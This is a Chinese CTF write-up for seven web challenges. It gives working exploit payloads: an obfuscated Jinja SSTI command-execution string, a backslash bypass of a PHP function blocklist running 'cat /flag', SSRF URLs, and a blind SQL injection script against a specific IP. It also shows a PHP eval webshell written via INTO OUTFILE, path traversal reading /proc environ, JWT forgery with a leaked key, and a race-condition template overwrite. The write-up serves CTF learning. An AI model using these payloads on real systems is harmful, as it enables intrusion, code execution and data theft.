文章目錄
- ezflask
- ezjs
- ezrce
- ezssrf1.0
- 簽到
- ezsql1.0
- ez_web1
- 非預期
- 預期解
ezflask
ssti, 過濾了一些關鍵詞, 繞一下就行
name={{url_for["__globals__"]["__builtins__"]["eval"]("__tropmi__"[::-1])('o''s')["po""pen"]("ls /")|attr("read")()}}
ezjs
查看源碼可以看到這一段
game._addSuccessFn(function (scoreNow) {current_score.innerHTML = scoreNowif (scoreNow === 100000000000) {fetch('getflag.php', {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded',},body: 'score=' + scoreNow}).then(response => response.text()).then(data => {alert("恭喜你!flag是:" + data);}).catch(error => {console.error('錯誤:', error);});}
})
直接偽造請求就行
ezrce
<?php
error_reporting(0);
highlight_file(__FILE__);function waf($a) {$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "register_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval");$disable_fun = array_map('strtolower', $disable_fun);$a = strtolower($a);if (in_array($a, $disable_fun)) {echo "寶寶這對嘛,這不對噢";return false;}return $a;
}$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];if (isset($num) && $num != 1234) {echo "看來第一層對你來說是小case<br>";if (is_numeric($num) && $num > 1234) {echo "還是有點實力的嘛<br>";if (isset($new) && isset($star)) {echo "看起來你遇到難關了哈哈<br>";$b = waf($new); if ($b) { call_user_func($b, $star); echo "恭喜你,又成長了<br>";} }}
}
?>
主要是繞過waf里面被禁用的函數, 可以通過在函數名前面添加一個反斜杠\
, 不影響函數的執行, 且waf也沒法檢查出來
?num=12345
new=\system&star=cat /flag
ezssrf1.0
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];if ($url == null)die("Try to add ?url=xxxx.");$x = parse_url($url);if (!$x)die("(;_;)");if ($x['host'] === null && $x['scheme'] === 'http') {echo ('Well, Going to ' . $url);$ch = curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($ch);curl_close($ch);echo ($result);
} elseecho "(^-_-^)";
感覺有點抽象, 一直嘗試, 看看哪個有反應
?url=http:@localhost/flag
?url=http:@localhost/FFFFF11111AAAAAggggg.php
簽到
得到l23evel4.php
提示了今年是多少年
繼續levelThree.php
F12有提示
繼續/level444Four.php
繼續: level4545Five.php
直接放控制臺就行
繼續: zzpufinish.php
ezsql1.0
過濾了空格, 可以用/**/
繞過,直接布爾盲注打
發現可以執行一些內置函數的操作, 想要查詢卻查不了, 試了了很久, 后面想到可以通過load_file
函數讀取文件, 沒被ban, 但是flag不在根目錄下, 讀一下源碼
import requests
import urllib.parse
url="http://27.25.151.26:32384/"headers = {"Content-Type":"application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}
flag = ''
i=1
while True:right = 128left = 32while left <= right:mid = (right + left) // 2params={"id":f"-1/**/or/**/ord(substr(load_file('/var/www/html/index.php')/**/from/**/{i}/**/for/**/1))>{mid}#"}res=requests.get(url=url,params=params,headers=headers,proxies={"http": None, "https": None})if 'admin' in res.text:left=mid+1else:right=mid-1i+=1flag += chr(left)print(flag)
可以拿到源碼
<?php
include('connect.php');$input = $_GET['id'] ?? '';
$result_html = '';if (strpos($input, ' ') !== false) {$result_html = "<p class='error'> hacker</p>";
} else if ($input !== '') {$filtered_input = preg_replace('/select/i', '', $input);$sql = "SELECT id, username, password FROM users WHERE id = $filtered_input";$query = @$conn->query($sql);if ($query && $query->num_rows > 0) {$row = $query->fetch_assoc();// $result_html .= "<table><tr><th>ID</th><th></th><th></th></tr>";$result_html .= "<tr>";$result_html .= "<td>" . htmlspecialchars($row['id']) . "</td>";$result_html .= "<td>" . htmlspecialchars($row['username']) . "</td>";$result_html .= "<td>" . htmlspecialchars($row['password']) . "</td>";$result_html .= "</tr>";$result_html .= "</table>";} else {$result_html .= "<p class='error'></p>";}
}if ($conn instanceof mysqli && $conn->ping()) {$conn->close();
}
?><!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8"><title>User Query</title>
</head>
<body><?php echo $result_html; ?>
</body>
</html>
發現是把select
替換為空了, 難怪查詢的操作都執行不了
雙寫繞過直接寫馬
?id=-1/**/union/**/seselectlect/**/1,2,'<?=eval($_POST[1]);?>'into/**/outfile/**/'/var/www/html/1.php'%23
/var
目錄下可以發現一個db.sql文件, 里面存在flag
ez_web1
查看源碼, 根據這些信息, 直接猜測出用戶名和密碼: fly233/123456789
非預期
進去到里面點擊它的圖書, 會發現跳轉到/read
的路由,三本書的路由是一樣的, 但是內容不一樣, 可能是存在POST傳了其他的參數, 抓一下包就可以發現, 直接任意文件讀, 可以直接讀到flag, 直接非預期了
book_path=../../../../proc/1/environ
預期解
讀一下源碼
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwtapp = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}def generate_token(username):payload = {'username': username}token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')return tokendef decode_token(token):try:payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])return payloadexcept jwt.ExpiredSignatureError:return Noneexcept jwt.InvalidTokenError:return None@app.route('/')
def index():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')username = payload['username']books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]return render_template('./index.html', username=username, books=books)@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'GET':return render_template('./login.html')elif request.method == 'POST':username = request.form.get('username')password = request.form.get('password')if username in users and users[username] == password:token = generate_token(username)response = make_response(jsonify({'message': 'success'}), 200)response.set_cookie('token', token, httponly=True, path='/')return responseelse:return {'message': 'Invalid username or password'}@app.route('/read', methods=['POST'])
def read_book():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')book_path = request.form.get('book_path')full_path = os.path.join(book_dir, book_path)try:with open(full_path, 'r', encoding='utf-8') as file:content = file.read()return render_template('reading.html', content=content)except FileNotFoundError:return "文件未找到", 404except Exception as e:return f"發生錯誤: {str(e)}", 500@app.route('/upload', methods=['GET', 'POST'])
def upload():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')if request.method == 'GET':return render_template('./upload.html')if payload.get('username') != 'admin':return """<script>alert('只有管理員才有添加圖書的權限');window.location.href = '/';</script>"""file = request.files['file']if file:book_path = request.form.get('book_path')file_path = os.path.join(book_path, file.filename)if not os.path.exists(book_path):return "文件夾不存在", 400file.save(file_path)with open(file_path, 'r', encoding='utf-8') as f:content = f.read()pattern = r'[{}<>_%]'if re.search(pattern, content):os.remove(file_path)return """<script>alert('SSTI,想的美!');window.location.href = '/';</script>"""return redirect(url_for('index'))return "未選擇文件", 400
需要偽造admin, 讀/proc/self/environ
找到key
JWT_KEY=th1s_1s_k3y
import jwt
SECRET_KEY="th1s_1s_k3y"
def generate_token(username):payload = {'username': username}token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')return tokentoken_admin=generate_token("admin")
print(token_admin)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U
看到它上傳文件的邏輯, 先把文件保存下來之后去檢查它的文件內容, 如果有不合法的字符, 就把文件給刪除, 這里很明顯可以進行一個競爭去繞過它的字符過濾
一般想要進行ssti是要用到render_template_string
這個模塊, 但是這里并沒有導入這個模塊, 所以在這里就上傳一個index.html
文件覆蓋掉原先的index.html
(或者代碼里面的其他的html文件都可以), 讓它的內容為ssti的rce, 這樣在render_template
進行渲染的時候也可以執行ssti的代碼
我們正常上傳的文件路徑是/app/books/xx.txt
然后可以通過參數filename
更改上傳的路徑, index.html的路徑是在/app/templates/index.html
可以利用前面的任意文件讀測試這些文件的存在
BurpSuite抓包, 直接在intruder
模塊不不斷的發包就行
然后不停的刷新瀏覽器, 就可以拿到flag了